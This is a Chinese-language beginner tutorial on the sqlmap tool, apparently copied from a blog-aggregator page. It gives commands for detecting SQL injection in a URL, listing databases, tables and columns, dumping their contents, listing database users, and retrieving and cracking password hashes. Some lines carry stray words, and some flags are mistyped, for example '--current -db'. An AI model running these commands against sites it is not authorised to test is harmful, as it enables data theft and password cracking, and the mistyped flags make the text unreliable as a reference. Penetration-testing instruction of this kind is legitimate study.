1、SQLMAP入門

1、SQLMAP入門web

1、判斷是否存在注入sql

sqlmap.py -u 網址/id=1

id=1不可缺乏。當注入點後面的參數大於兩個時。須要加雙引號,數據庫

sqlmap.py -u "網址/id=1&uid=1"

2、判斷文本中的請求是否存在注入網站

從文本中加載http請求,SQLMAP能夠從一個文本文件中獲取http請求,這樣能夠不設置其它參數,txt文件中的內容爲web數據包。判斷是否存在注入的命令:ui

sqlmap.py -r desktop/1.txt

3、查詢當前用戶下的全部數據庫spa

該命令是肯定網站存在注入後,用於查詢當前用戶下的全部數據庫。若是當前用戶有權限讀取包含全部數據庫列表信息的表,使用該命令就能夠列出全部數據庫。blog

sqlmap.py -u 網址 --dbs、

當繼續注入時,--dbs縮寫成-D xxx,其意思是在xxx數據庫中繼續查詢其餘數據。入門

4、獲取數據庫的表名table

該命令的做用是查詢完數據庫後,查詢指定數據庫中全部的表名。若是在該命令中不加入-D參數來指定某一個具體的數據庫,那麼SQLMap會列出數據庫中全部庫的表。class

sqlmap.py -u "網址「 -D 數據庫名 --tables

當繼續注入時,--tables縮寫成-T,意思時=是在某表中繼續查詢。

5、獲取表中的字段名

該命令的做用是查詢完表名後,查詢該表中全部的字段名。

sqlmap.py -u 網址 -D 數據庫名 -T 表名 --columns

在後續注入中,--colums縮寫成 -C

6、獲取字段內容

該命令是查詢完字段名以後,獲取該字段中具體的數據信息。

sqlmap.py -u 網址 -D 數據庫名 -T表名 -C字段名 --dump

7、獲取數據庫的全部用戶

該命令的做用是列出數據庫的全部用戶。若是當前用戶有權限讀取包含全部用戶的表的權限是,使用該命令就能夠列出全部管理用戶。

sqlmap.py -u 網址 --users

8、獲取數據庫用戶的密碼

該命令的做用是列出數據庫用戶的密碼。若是當前用戶有讀取包含用戶密碼的權限,SQLMAP會先例舉出用戶,而後列出Hash,並嘗試破解。

sqlmap.py -u 網址 --passwords

9、獲取當前網站數據的名稱

使用該命令能夠列出當前網站使用的數據庫

sqlmap.py -u 網址 --current -db

10、獲取當前網站數據庫的用戶名稱

使用該命令能夠列出當前網站使用的數據庫用戶。

sqlmap.py -u 網址 --current -user 
相關文章
相關標籤/搜索